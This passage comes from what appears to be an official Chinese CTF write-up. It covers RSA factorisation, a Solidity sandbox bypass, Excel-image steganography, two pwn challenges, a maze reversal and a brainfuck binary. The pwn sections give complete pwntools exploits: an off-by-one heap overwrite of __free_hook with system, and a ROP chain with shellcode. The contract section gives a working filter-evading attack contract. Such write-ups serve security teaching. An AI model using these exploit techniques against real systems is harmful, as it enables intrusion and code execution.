第二层rsa使用的n是4个质数的积,同样这些质数之间存在关系

o = getPrime(300)
s = getPrime(300)
t = next_prime(o)
u = next_prime(s)

next_prime意味着o和t,以及s和u之间是很相近的,我们可以假设

t = o + m1
u = s + m2
m1和m2一般是1000以内的整数

这样我们就有

n1 = o * s
n2 = (o+m1)*(s+m2)

由于m1和m2较小,我们可以直接爆破,在已知m1和m2的情况下,可以构造一元二次方程进行求解

完整脚本如下

def quadratic(ga,gb,gc,n):
        delta=gb**2-4*ga*gc
        if delta<=0 or ga==0:
            return 0
        tmp=iroot(delta,2)
        if tmp[1]==True:
            x1 = (-gb + tmp[0]) / (2*ga)
            x2 = (-gb - tmp[0]) / (2 * ga)
            if x1>0 and n%x1==0:
                return x1
            if x2>0 and n%x2==0:
                return x2
        return 0
def solve_level2(n,m):
        for x in range(1500):
            for y in range(1500):
                a=y
                b=x*y-m+n
                c=x*n
                tmp = quadratic(a,b,c,n)
                if tmp!=0:
                    p =  tmp
                    q = n/tmp
                    assert(p*q == n)
                    pp = p+x
                    qq = q+y
                    assert(pp*qq == m)
                    return p,q,pp,qq

这样就分解了n2

第三层

第三层的n是整行的两个大质数的积,但是这个题目没有给出加密公钥e。

同时注意到该题的e生成方式和奇怪

    s = getPrime(10)
    if(gcd(s,p-1) == 1):
        sinv = invert(s,p-1)
        e = 4*s*sinv+3

根据模逆运算的性质,我们有

e % (p-1) = 4 + 3 = 7

因此对于加密的密文 pow(m,e)我们有

pow(m,e) % p = pow(m,7+k*(p-1)) % p = (pow(m,7) % p) *(pow(m,k*(p-1))%p) % p = pow(m,7) % p

因此有

A = pow(m,e)-pow(m,7) = k * p
B = pow(m,e) = q * p
gcd(A,B) = p

分解了p和q之后 还需要恢复e

注意到生成e的中间变量 s是很小的,因此可以爆破。在有了p的情况下能很容易的根据s生成e并校验爆破的s是否正确。

代码如下

def solve_level3(m,c,n):
        p = gcd((c-pow(m,7)),n)
        assert(n%p == 0)
        q = n/p
        while True:
            s = getPrime(10)
            if(gcd(s,p-1)):
                sinv = invert(s,p-1)
                e = 4*s*sinv+3
                if pow(m,e,n) == c:
                    break
        return e,p,q

解密

当n1,n2,n3都被分解了之后,可以很容易的根据rsa解密原理,计算出解密密钥并还原flag

flag 是 flag{4c2fd4e6-44de-445f-8c34-1235464de2de}

misc

ContractGame

Source

  • 题目合约如下所示

pragma solidity ^0.5.10;

contract BoxGame {

    event ForFlag(address addr);
    address public target;
    
    constructor(bytes memory a) payable public {
        assembly {
            return(add(0x20, a), mload(a))
        }
    }
    
    function payforflag(address payable _addr) public {
        
        require(_addr != address(0));
        
        target.delegatecall(abi.encodeWithSignature(""));
        selfdestruct(_addr);
    }
    
    function sendFlag() public payable {
        require(msg.value >= 1000000000 ether);
        emit ForFlag(msg.sender);
    }

}
  • 构造函数中的真实合约如下

pragma solidity ^0.5.10;

contract BoxGame {

    event ForFlag(address addr);
    address public target;
    
    function payforflag(address payable _addr) public {
        
        require(_addr != address(0));
        
        uint256 size;
        bytes memory code;

        assembly {
            size := extcodesize(_addr)
            code := mload(0x40)
            mstore(0x40, add(code, and(add(add(size, 0x20), 0x1f), not(0x1f))))
            mstore(code, size)
            extcodecopy(_addr, add(code, 0x20), 0, size)
        }

        for(uint256 i = 0; i < code.length; i++) {
            require(code[i] != 0xf0); // CREATE
            require(code[i] != 0xf1); // CALL
            require(code[i] != 0xf2); // CALLCODE
            require(code[i] != 0xf4); // DELEGATECALL
            require(code[i] != 0xfa); // STATICCALL
            require(code[i] != 0xff); // SELFDESTRUCT
        }
        
        _addr.delegatecall(abi.encodeWithSignature(""));
        selfdestruct(_addr);
    }
    
    function sendFlag() public payable {
        require(msg.value >= 1000000000 ether);
        emit ForFlag(msg.sender);
    }

}

Analyse

  • 合约的 constructor 函数中部署的合约才是真正的合约,所以分析构造函数里面的字节码即可

  • 其实相当于一个沙盒,过滤了f0 f1 f2 f4 fa ff这些字节,即攻击合约中字节码不能出现这些字节,可以发现 f5 对应的 create2 没有被过滤,所以可用 create2 创建一个 emit ForFlag(0) 的合约,中间如果有禁止的字节,转换一下即可

Exp

contract pikachu {
    
    /*
    emit ForFlag(address(0));
    
    7F  PUSH32 0x89814845d4f005a4059f76ea572f39df73fbe3d1c9b20f12b3b03d09f999b9e2
    60  PUSH1 0x00
    60  PUSH1 0x40
    51  MLOAD
    80  DUP1
    82  DUP3
    73  PUSH20 0xffffffffffffffffffffffffffffffffffffffff
    16  AND
    73  PUSH20 0xffffffffffffffffffffffffffffffffffffffff
    16  AND
    81  DUP2
    52  MSTORE
    60  PUSH1 0x20
    01  ADD
    91  SWAP2
    50  POP
    50  POP
    60  PUSH1 0x40
    51  MLOAD
    80  DUP1
    91  SWAP2
    03  SUB
    90  SWAP1
    A1  LOG1
    */
    // 将上述字节码通过一些转换不包含f0 f1 f2 f4 fa ff即可
    constructor() public payable {
        assembly {
            mstore(0x500, 0x7f89814845d4e005a4059f76ea572f39df73fbe3d1c9b20e12b3b03d09f999b9)
            mstore(0x520, 0xe27f000000000010000000000000000000000000000000000100000000000000)
            mstore(0x540, 0x0000016000604051808273eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee73)
            mstore(0x560, 0x1111111111111111111111111111111111111111011673eeeeeeeeeeeeeeeeee)
            mstore(0x580, 0xeeeeeeeeeeeeeeeeeeeeee731111111111111111111111111111111111111111)
            mstore(0x5a0, 0x0116815260200191505060405180910390a13460b26105003031f50000000000)
            return(0x500, 0x5c0)
        }
    }
}

contract Hack {
    BoxGame private constant target = BoxGame(0x4c3aa84018A031C11bE09e4b2dCC346Ae055956d);

    constructor() public payable {
        bool result;

        // emit ForFlag(0)
        pikachu hack = new pikachu();
        (result, ) = address(target).call(abi.encodeWithSelector(
            0xc1803191,
            hack
        ));
        require(result);
    }
}
  • 直接部署Hack即可

s34hunka

打开文件之后,发现Excel中有一个图片:

XCTF高校网络安全专题挑战赛-鲲鹏计算专场 官方Writeup

但仔细看会发现,这个图片并不是我们常见的插入到Excel的那种文件,该图片由Excel单元格构成,每个像素都由一个单元格的背景颜色来表示。

放大图片局部仔细看的话可以隐约看到flag字样:

XCTF高校网络安全专题挑战赛-鲲鹏计算专场 官方Writeup

到这里的一个思路是通过脚本根据像素还原出图片,再使用stegsolve工具查看LSB隐写等信息

不过如果这样尝试的话会发现这样是行不通的,LSB里没有flag

XCTF高校网络安全专题挑战赛-鲲鹏计算专场 官方Writeup

我们可以看到文档作者是堀内辰男,标题为噴火。 经搜索可知,这里的堀内辰男是日本一位用Excel作画的老爷爷,噴火为他的一部作品。 那么堀内辰男就是以不同的单元格颜色作画的吗?经搜索不是这样的:

XCTF高校网络安全专题挑战赛-鲲鹏计算专场 官方Writeup

并且在堀内辰男的个人网站可以看到提供的图片都是jpg格式的,而没有xlsx格式的。

这里的这个文件名s34hunka比较有意思,我们可以搜一下:

XCTF高校网络安全专题挑战赛-鲲鹏计算专场 官方Writeup

可以看到只有图片搜索结果,而第一个图片恰好就是本题所给的图片。

XCTF高校网络安全专题挑战赛-鲲鹏计算专场 官方Writeup

打开图片所在网址,可以看到该图片的名字恰好就是“噴火”,文件名为s34hunka.JPG。

通过脚本读取该图片和Excel单元格信息,对该图片和Excel中的像素做比较,提取出不同的像素点生成图片,即可得到flag:

from PIL import Image
from openpyxl import load_workbook

img = Image.open('s34hunka.JPG')
pixels = img.load()
width, height = img.size

wb = load_workbook('s34hunka.xlsx')
ws = wb.active

for j in range(height):
    for i in range(width):
        c = ws.cell(j+1,i+1)
        p = pixels[i,j]
        color = ''.join('%02X'%t for t in p)
        if color == c.fill.fgColor.rgb[2:]:
            pixels[i,j] = (255, 255, 255)
        else:
            pixels[i,j] = (0, 0, 0)
            
img.save("myresult.png")

XCTF高校网络安全专题挑战赛-鲲鹏计算专场 官方Writeup

pwn

honorbook

CPP, Off by one, 可以覆盖结构体的最低位,导致破坏其他的结构体

exp.py

from pwn import *

remote_addr=['',0] # 23333 for ubuntu16, 23334 for 18, 23335 for 19
#context.log_level=True

is_remote = False
elf_path = "./honorbook"
elf = ELF(elf_path)
#libc = ELF("/lib/x86_64-linux-gnu/libc-2.27.so")
libc = ELF("./libs/lib/libc-2.27.so")

context.terminal = ["tmux", "new-window"]
if is_remote:
    p=remote(remote_addr[0],remote_addr[1])
else:
    p = process(["qemu-riscv64", "-L", "./libs", elf_path], aslr = True)


ru = lambda x : p.recvuntil(x)
sn = lambda x : p.send(x)
rl = lambda   : p.recvline()
sl = lambda x : p.sendline(x)
rv = lambda x : p.recv(x)
sa = lambda a,b : p.sendafter(a,b)
sla = lambda a,b : p.sendlineafter(a,b)

def lg(s,addr = None):
    if addr:
        print('\033[1;31;40m[+]  %-15s  --> 0x%8x\033[0m'%(s,addr))
    else:
        print('\033[1;32;40m[-]  %-20s \033[0m'%(s))

def raddr(a=6):
    if(a==6):
        return u64(rv(a).ljust(8,'\x00'))
    else:
        return u64(rl().strip('\n').ljust(8,'\x00'))

def choice(idx):
    sla(": ", str(idx))

def add(idx, name, msg):
    choice(1)
    choice(idx)
    sa(": ", name)
    sa(": ", msg)

def echo(filename, content, is_append = False):
    sleep(1)
    sn(content)

def rm(idx):
    choice(2)
    choice(idx)

def show(idx):
    choice(3)
    choice(idx)

def edit(idx, msg):
    choice(4)
    sa(": ", msg)

if __name__ == '__main__':
    lg("libc", 0x4000aad768 - libc.symbols['_IO_2_1_stdin_'])
    for i in range(11):
        add(i, str(i), "AA\n")
    for i in range(10):
        rm(i)
    choice("0"*0x500+'123')
    for i in range(10):
        add(i, str(i), "AA\n")

    show(7)
    ru(": ")

    #libc_addr = raddr() - 0x3ec037 + 0x100
    libc_addr = u64(rv(3).ljust(8, '\x00')) + 0x4000000000 - 0x107d37 #- libc.symbols['_IO_2_1_stdin_']
    libc.address = libc_addr
    lg("libc addr", libc_addr)
    ru("Code")
    #p.interactive()
    add(21, 'BB', "CC\n")
    add(22, 'BB', p64(0x21)*(0xe0/8) + '\n')
    rm(21)
    add(21, 'BB', "C"*0xe8 + p8(0xf0))
    rm(0)
    rm(1)
    rm(22)
    add(23, '/bin/sh\x00', p64(libc.symbols['__free_hook'])*(0xe0/8) + '\n')
    add(24, 'BB', "/bin/sh\x00\n")
    add(25, 'BB', p64(libc.symbols['system']) + '\n')
    rm(24)

    p.interactive()

schrodingerbox

exp.py

#!/usr/bin/python3
from pwn import *

p = remote('127.0.0.1', 52520)

# NOTE : This won't work if you launch it locally like p=process('./easteregg')

xchg = 0x49E61B
poprax = 0x0000000000420382
poprdi = 0x0000000000400726
poprsi = 0x000000000040167f
poprdx = 0x000000000047de66
incrax = 0x0000000000501750
poprbx = 0x00000000004072a9
syscall = 0x4C78E5

context.arch = 'amd64'


def create(type='small'):
    p.sendlineafter('5.quit', '1')
    p.sendlineafter('?', type)


def view(idx):
    p.sendlineafter('5.quit', '4')
    p.sendlineafter('?', str(idx))


for x in range(10):
    create()
p.sendlineafter('5.quit', b'2-------' + p64(0x1e3fb0)[:-1])  # here is the key to take advantage of uninitialized bug
p.sendlineafter('?', '9')
dsize = 0x1e3ef0 + 1

p.sendlineafter('?', str(dsize))

p.send('x' * dsize)

view(9)

p.recvuntil('x' * dsize)
heap = (u64(p.recvuntil(' ', drop=1).ljust(8, b'\x00')) << 8) - 0x1eeab8
log.success('heap:' + hex(heap))

payload = b'\x00' * 0x20 + p64(0x00000000004488f8)  # add rsp, 0x48 ; ret
payload = payload.ljust(0x58, b'\x00')
payload += p64(xchg)
payload += p64(0) * 2
# NOTE : Since our program has been "traced", execve to new shell won't work as well.:)
# ================ROP START==================
payload += p64(poprax)
payload += p64(9)
payload += p64(incrax)
payload += p64(poprdi)
payload += p64(heap & 0xfffffffffffff000)
payload += p64(poprsi)
payload += p64(0x1000)
payload += p64(poprdx)
payload += p64(7)
payload += p64(syscall)
payload += p64(heap + 0xb8) * 3
# ================ROP END====================
payload += asm(shellcraft.amd64.linux.cat('/flag'))  # modify it to your flag file path

payload = payload.ljust(0x1e3ed8, b'n')
payload += p64(0x200000)  # Some stuffs that I don't know :)
payload += p64(0)
payload += p64(0x3a0efff)
payload += p64(heap + 0x1eeab8)
payload += p64(0x1f5400)
payload += b'\x00' * 16
payload += p64(heap - 0x41c138)
payload = payload.ljust(0x1e3fa0, b'\x00')
payload += p64(heap)  # This is actually extent_hook

p.sendlineafter('5.quit', b'2-------' + p64(0x1e3fa8)[:-1])  # here is the key to take advantage of uninitialized bug
p.sendlineafter('?', '9')
p.sendlineafter('?', str(0x1e3fa8))
p.send(payload)

# gdb.attach(p, 'b *0x4BF25A')
p.sendlineafter('5.quit', '1')
p.sendlineafter('?', 'large')  # trigger shellcode
p.interactive()

reverse

mips

题目考察选手对于算法的逆向分析能力

题解 题目实际上要解的是一个迷宫,wasd分别对应上下左右 有三层关卡,通过了三层关卡之后才能够拿到最后正确信息

最后的输入内容是

sssssssdddddddsssssssssssddddddddddsddssddwddssssssdddssssdddss

flag是flag{999ea6aa6c365ab43eec2a0f0e5968d5}

exp如下:

  
#include<stdio.h>
#include<string.h>
#define N 15
#define M 3  

int level = 0;
int x,y;
int map[M][N][N] = {
	{		   //
	{1,1,1,1,1,0,0,0,0,0,0,0,0,0,0},
	{1,1,1,1,1,0,3,0,1,0,0,0,0,0,0},
	{1,1,1,1,1,0,1,0,1,0,0,0,0,0,0},
	{1,1,1,1,1,0,1,0,1,0,0,0,0,0,0},
	{1,1,1,1,1,0,1,0,1,1,1,1,1,0,0},
	{1,1,1,1,1,0,1,0,0,0,0,0,1,0,0},
	{1,1,1,1,1,0,1,0,0,0,0,0,1,0,0},
	{1,1,1,1,1,0,1,0,0,0,0,0,1,1,0},
	{1,1,1,1,1,0,1,1,1,1,1,1,1,1,0},
	{1,1,1,1,1,0,0,0,0,0,0,0,0,4,0},
	{1,1,1,1,1,1,1,1,1,1,1,1,1,1,1},
	{1,1,1,1,1,1,1,1,1,1,1,1,1,1,1},
	{1,1,1,1,1,1,1,1,1,1,1,1,1,1,1},
	{1,1,1,1,1,1,1,1,1,1,1,1,1,1,1},
	{1,1,1,1,1,1,1,1,1,1,1,1,1,1,1},
}, //sssssssddddddds
{
	{1,1,0,0,0,0,0,0,0,0,0,0,0,0,0},
	{1,1,0,3,0,1,1,1,1,0,0,0,0,0,0},
	{1,1,0,1,0,0,0,0,1,0,0,0,0,0,0},
	{1,1,0,1,0,0,0,0,1,0,0,0,0,0,0},
	{1,1,0,1,1,0,0,0,1,1,1,1,1,0,0},
	{1,1,0,1,1,0,0,0,0,0,0,0,1,0,0},
	{1,1,0,1,1,0,0,0,0,0,0,0,1,0,0},
	{1,1,0,1,1,0,0,0,0,0,1,1,1,1,0},
	{1,1,0,1,1,0,0,0,0,0,1,0,0,1,0},
	{1,1,0,1,1,0,0,0,0,0,1,0,0,0,0},
	{1,1,0,1,1,1,1,1,1,0,1,0,1,1,0},
	{1,1,0,1,1,1,1,1,1,1,1,1,1,1,0},
	{1,1,0,0,0,0,0,0,0,0,0,0,0,4,0},
	{1,1,1,1,1,1,1,1,1,1,1,1,1,1,1},
	{1,1,1,1,1,1,1,1,1,1,1,1,1,1,1},
}, //ssssssssssdddddddddds
	{
	{0,0,0,0,0,0,0,0,0,0,0,0,0,0,0},
	{0,3,1,1,0,0,0,0,0,0,0,0,0,0,0},
	{0,0,0,1,0,1,1,1,0,0,0,0,0,0,0},
	{0,0,0,1,1,1,0,1,0,0,0,0,0,0,0},
	{0,0,0,0,1,0,0,1,0,0,0,0,0,0,0},
	{0,1,1,0,1,0,0,1,0,0,0,0,0,0,0},
	{0,0,1,1,1,0,0,1,0,0,0,0,0,0,0},
	{0,0,0,0,0,0,0,1,0,0,0,0,0,0,0},
	{0,0,0,0,0,0,0,1,1,1,1,0,0,0,0},
	{0,0,0,0,0,0,0,0,0,0,1,0,0,0,0},
	{0,0,0,0,0,0,0,0,0,0,1,0,0,0,0},
	{0,0,0,0,0,0,0,0,0,0,1,0,0,0,0},
	{0,0,0,0,0,0,0,0,0,0,1,1,1,1,0},
	{0,0,0,0,0,0,0,0,0,0,0,0,0,1,0},
	{0,0,0,0,0,0,0,0,0,0,0,0,0,4,0},
}
};//ddssddwddssssssdddssssdddss


//函数声明
void menu();
void find();
int move();
int Up();
int Down();
int Right();
int Left();


int main(void)
{
	int flag = 0;
	menu();
	while(1)
	{
		flag = move();
		if(flag == 1 || flag == -1)
			return 0;
	}	
	return 0;
}
//找到自己的位置
void find()
{
	
	int i= 0,j = 0;
	for(i = 0;i < N;i++)
	{
		for(j = 0;j < N;j++)
		{
			if(map[level][i][j] == 3)
			{
				x = i;
				y = j;
				break;
			}
		}
	}
}
int move()
{
	int flag = 0;
    int index = 0;
    char ans[512] = {0};
    scanf("%s", ans);
	while(1)
	{
		flag = 0;
		find();
		switch(ans[index])
		{
		case 'w':flag = Up();break;
		case 'a':flag = Left();break;
		case 's':flag = Down();break;
		case 'd':flag = Right();break;
		case 27:return -1;
		}
        index++;
		if(flag == 1)
		{
			//pass
			if(level == M-1)
			{
                printf("success! the flag is flag{md5(your input)}\n");
				return 1;
			}
			else
			{
				level++;
			}
		}
	}
}
int Up()
{
	if(x != 0)
	{
		if(map[level][x-1][y] == 1)//可走
		{
			map[level][x-1][y] = 3;
			map[level][x][y] = 1;
		}
		else if(map[level][x-1][y] == 4)
		{
			return 1;
		}
	}
	return 0;
}
int Down()
{
	if(x != N-1)
	{
		if(map[level][x+1][y] == 1)//可走
		{
			map[level][x+1][y] = 3;
			map[level][x][y] = 1;
		}
		else if(map[level][x+1][y] == 4)
		{
			return 1;
		}
	}
	return 0;
}
int Right()
{
	if(y != N-1)
	{
		if(map[level][x][y+1] == 1)//可走
		{
			map[level][x][y+1] = 3;
			map[level][x][y] = 1;
		}
		else if(map[level][x][y+1] == 4)
		{
			return 1;
		}
	}
	return 0;
}
int Left()
{
	if(y != 0)
	{
		if(map[level][x][y-1] == 1)//可走
		{
			map[level][x][y-1] = 3;
			map[level][x][y] = 1;
		}
		else if(map[level][x][y-1] == 4)
		{
			return 1;
		}
	}
	return 0;
}
void menu()
{
    level = 0;
}

print

  1. 通过逆向提供的binary文件"print",可以知道里面实现了一个brainfuck引擎,提取出其中的brainfuck程序,见a.bf.

  2. 将a.bf程序转化为相同功能的c代码,见a.cpp

  3. 对a.cpp代码进行人工分析,最后计算得到输入的password为R3veRSe_C0d3.

  4. 通过连接远程运行的服务得到最终的flag,运行命令为

print -c "R3veRSe_C0d3" | nc localhost 6666

a.bf

>,>,>,>,>,>,<<<<<[->>>>>>+<<<<<<<+>]<[->+<]>[->>>>>>+<<<<<<<+>]<[->+<]>>[->>>>>>+<<<<<<<<+>>]<<[->>+<<]>>[->>>>>>+<<<<<<<<+>>]<<[->>+<<]>>>[->>>>>>+<<<<<<<<<+>>>]<<<[->>>+<<<]>>>[->>>>>>+<<<<<<<<<+>>>]<<<[->>>+<<<]>>>>[->>>>>>+<<<<<<<<<<+>>>>]<<<<[->>>>+<<<<]>>>>[->>>>>>+<<<<<<<<<<+>>>>]<<<<[->>>>+<<<<]>>>>>[->>>>>>+<<<<<<<<<<<+>>>>>]<<<<<[->>>>>+<<<<<]>>>>>[->>>>>>+<<<<<<<<<<<+>>>>>]<<<<<[->>>>>+<<<<<]>>>>>>[->>>>>>+<<<<<<<<<<<<+>>>>>>]<<<<<<[->>>>>>+<<<<<<]>>>>>>[->>>>>>+<<<<<<<<<<<<+>>>>>>]<<<<<<[->>>>>>+<<<<<<]>>>>>>>[->>>>>>+<<<<<<<<<<<<<+>>>>>>>]<<<<<<<[->>>>>>>+<<<<<<<]>[->>>>>>>>>>>>+<<<<<<<<<<<<<+>]<[->+<]>>>>>>>>[->>>>>>+<<<<<<<<<<<<<<+>>>>>>>>]<<<<<<<<[->>>>>>>>+<<<<<<<<]>>[->>>>>>>>>>>>+<<<<<<<<<<<<<<+>>]<<[->>+<<]>>>>>>>>>[->>>>>>+<<<<<<<<<<<<<<<+>>>>>>>>>]<<<<<<<<<[->>>>>>>>>+<<<<<<<<<]>>>[->>>>>>>>>>>>+<<<<<<<<<<<<<<<+>>>]<<<[->>>+<<<]>>>>>>>>>>[->>>>>>+<<<<<<<<<<<<<<<<+>>>>>>>>>>]<<<<<<<<<<[->>>>>>>>>>+<<<<<<<<<<]>>>>[->>>>>>>>>>>>+<<<<<<<<<<<<<<<<+>>>>]<<<<[->>>>+<<<<]>>>>>>>>>>>[->>>>>>+<<<<<<<<<<<<<<<<<+>>>>>>>>>>>]<<<<<<<<<<<[->>>>>>>>>>>+<<<<<<<<<<<]>>>>>[->>>>>>>>>>>>+<<<<<<<<<<<<<<<<<+>>>>>]<<<<<[->>>>>+<<<<<]>>>>>>>>>>>>[->>>>>>+<<<<<<<<<<<<<<<<<<+>>>>>>>>>>>>]<<<<<<<<<<<<[->>>>>>>>>>>>+<<<<<<<<<<<<]>>>>>>[->>>>>>>>>>>>+<<<<<<<<<<<<<<<<<<+>>>>>>]<<<<<<[->>>>>>+<<<<<<]>>>>>>>>>>>>>[->>>>>>+<<<<<<<<<<<<<<<<<<<+>>>>>>>>>>>>>]<<<<<<<<<<<<<[->>>>>>>>>>>>>+<<<<<<<<<<<<<]>[->>>>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<<<<<+>]<[->+<]>>>>>>>>>>>>>>[->>>>>>+<<<<<<<<<<<<<<<<<<<<+>>>>>>>>>>>>>>]<<<<<<<<<<<<<<[->>>>>>>>>>>>>>+<<<<<<<<<<<<<<]>>[->>>>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<<<<<<+>>]<<[->>+<<]>>>>>>>>>>>>>>>[->>>>>>+<<<<<<<<<<<<<<<<<<<<<+>>>>>>>>>>>>>>>]<<<<<<<<<<<<<<<[->>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<]>>>[->>>>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<<<<<<<+>>>]<<<[->>>+<<<]>>>>>>>>>>>>>>>>[->>>>>>+<<<<<<<<<<<<<<<<<<<<<<+>>>>>>>>>>>>>>>>]<<<<<<<<<<<<<<<<[->>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<<]>>>>[->>>>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<<<<<<<<+>>>>]<<<<[->>>>+<<<<]>>>>>>>>>>>>>>>>>[->>>>>>+<<<<<<<<<<<<<<<<<<<<<<<+>>>>>>>>>>>>>>>>>]<<<<<<<<<<<<<<<<<[->>>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<<<]>>>>>[->>>>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<<<<<<<<<+>>>>>]<<<<<[->>>>>+<<<<<]>>>>>>>>>>>>>>>>>>[->>>>>>+<<<<<<<<<<<<<<<<<<<<<<<<+>>>>>>>>>>>>>>>>>>]<<<<<<<<<<<<<<<<<<[->>>>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<<<<]>>>>>>[->>>>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<<<<<<<<<<+>>>>>>]<<<<<<[->>>>>>+<<<<<<]>>>>>>>>>>>>>>>>>>>[->>>>>>+<<<<<<<<<<<<<<<<<<<<<<<<<+>>>>>>>>>>>>>>>>>>>]<<<<<<<<<<<<<<<<<<<[->>>>>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<<<<<]>[->>>>>>>>>>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<<<<<<<<<<<+>]<[->+<]>>>>>>>>>>>>>>>>>>>>[->>>>>>+<<<<<<<<<<<<<<<<<<<<<<<<<<+>>>>>>>>>>>>>>>>>>>>]<<<<<<<<<<<<<<<<<<<<[->>>>>>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<<<<<<]>>[->>>>>>>>>>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<<<<<<<<<<<<+>>]<<[->>+<<]>>>>>>>>>>>>>>>>>>>>>[->>>>>>+<<<<<<<<<<<<<<<<<<<<<<<<<<<+>>>>>>>>>>>>>>>>>>>>>]<<<<<<<<<<<<<<<<<<<<<[->>>>>>>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<<<<<<<]>>>[->>>>>>>>>>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<<<<<<<<<<<<<+>>>]<<<[->>>+<<<]>>>>>>>>>>>>>>>>>>>>>>[->>>>>>+<<<<<<<<<<<<<<<<<<<<<<<<<<<<+>>>>>>>>>>>>>>>>>>>>>>]<<<<<<<<<<<<<<<<<<<<<<[->>>>>>>>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<<<<<<<<]>>>>[->>>>>>>>>>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<<<<<<<<<<<<<<+>>>>]<<<<[->>>>+<<<<]>>>>>>>>>>>>>>>>>>>>>>>[->>>>>>+<<<<<<<<<<<<<<<<<<<<<<<<<<<<<+>>>>>>>>>>>>>>>>>>>>>>>]<<<<<<<<<<<<<<<<<<<<<<<[->>>>>>>>>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<<<<<<<<<]>>>>>[->>>>>>>>>>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<<<<<<<<<<<<<<<+>>>>>]<<<<<[->>>>>+<<<<<]>>>>>>>>>>>>>>>>>>>>>>>>[->>>>>>+<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<+>>>>>>>>>>>>>>>>>>>>>>>>]<<<<<<<<<<<<<<<<<<<<<<<<[->>>>>>>>>>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<<<<<<<<<<]>>>>>>[->>>>>>>>>>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<+>>>>>>]<<<<<<[->>>>>>+<<<<<<]>>[->>>>>>>>>>>>>>>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<+>>]<<[->>+<<]>>>>>>>>>[->>>>>>>>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<+>>>>>>>>>]<<<<<<<<<[->>>>>>>>>+<<<<<<<<<]>>>>>>>>>>>>>>>>[->>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<+>>>>>>>>>>>>>>>>]<<<<<<<<<<<<<<<<[->>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<<]>>>>>>>>>>>>>>>>>>>>>>>[->>>>>>>>+<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<+>>>>>>>>>>>>>>>>>>>>>>>]<<<<<<<<<<<<<<<<<<<<<<<[->>>>>>>>>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<<<<<<<<<]>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>[->+<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<+>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>]<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<[->>>>>>>>>>>>>>>>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<]>>>>>>>>>>>>>>>>>>>>>>>>>[->>>>>>>+<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<+>>>>>>>>>>>>>>>>>>>>>>>>>]<<<<<<<<<<<<<<<<<<<<<<<<<[->>>>>>>>>>>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<<<<<<<<<<<]>>>>>>>>>>>>>>>>>>>>[->>>>>>>>>>>>+<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<+>>>>>>>>>>>>>>>>>>>>]<<<<<<<<<<<<<<<<<<<<[->>>>>>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<<<<<<]>>>>>>>>>>>>>>>[->>>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<+>>>>>>>>>>>>>>>]<<<<<<<<<<<<<<<[->>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<]>>>>>>>>>>[->>>>>>>>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<+>>>>>>>>>>]<<<<<<<<<<[->>>>>>>>>>+<<<<<<<<<<]>>>>>[->>>>>>>>>>>>>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<+>>>>>]<<<<<[->>>>>+<<<<<]>>>>>>>>>>>>>[->>>>>>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<+>>>>>>>>>>>>>]<<<<<<<<<<<<<[->>>>>>>>>>>>>+<<<<<<<<<<<<<]>>>>>>>>[->>>>>>>>>>>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<+>>>>>>>>]<<<<<<<<[->>>>>>>>+<<<<<<<<]>>>[->>>>>>>>>>>>>>>>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<+>>>]<<<[->>>+<<<]>>>>>>>>>>>>>>>>>>>>>>[->>>>>>>>>>>+<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<+>>>>>>>>>>>>>>>>>>>>>>]<<<<<<<<<<<<<<<<<<<<<<[->>>>>>>>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<<<<<<<<]>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>[->>>+<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<+>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>]<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<[->>>>>>>>>>>>>>>>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<]>>>>>>>[->>>>>>>>>>